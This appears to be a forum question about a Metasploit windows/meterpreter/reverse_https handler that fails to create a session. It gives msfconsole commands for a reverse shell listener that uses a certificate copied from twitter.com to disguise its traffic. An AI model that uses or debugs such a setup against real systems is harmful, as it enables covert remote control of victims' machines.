I can't run meterpreter/reverse_https with an ssl certificate.
make a copy of the certificate:
set RHOST twitter.com
Launch the listener:
set payload windows/meterpreter/reverse_https
set LHOST IP
set LPORT 8081
set EnableStageEncoding true
set StagerVerifySSLCert true
set HANDLERSSLCERT /root/file.pem
but after the launch I get this:
msf6 exploit(multi/handler) > exploit -j
 Exploit running as background job 0.
 Exploit completed, but no session was created.
[*] Started HTTPS reverse handler on https://IP:8081
it should be like this:
msf exploit(handler) > exploit -j
 Meterpreter will verify SSL Certificate with SHA1 hash 5fefcc6cae228b92002a6d168c5a78d495d8c884
 Exploit running as background job.
I tried using windows / meterpreter/reverse_winhttps, and everything works fine with it.
Please tell me what my mistake is.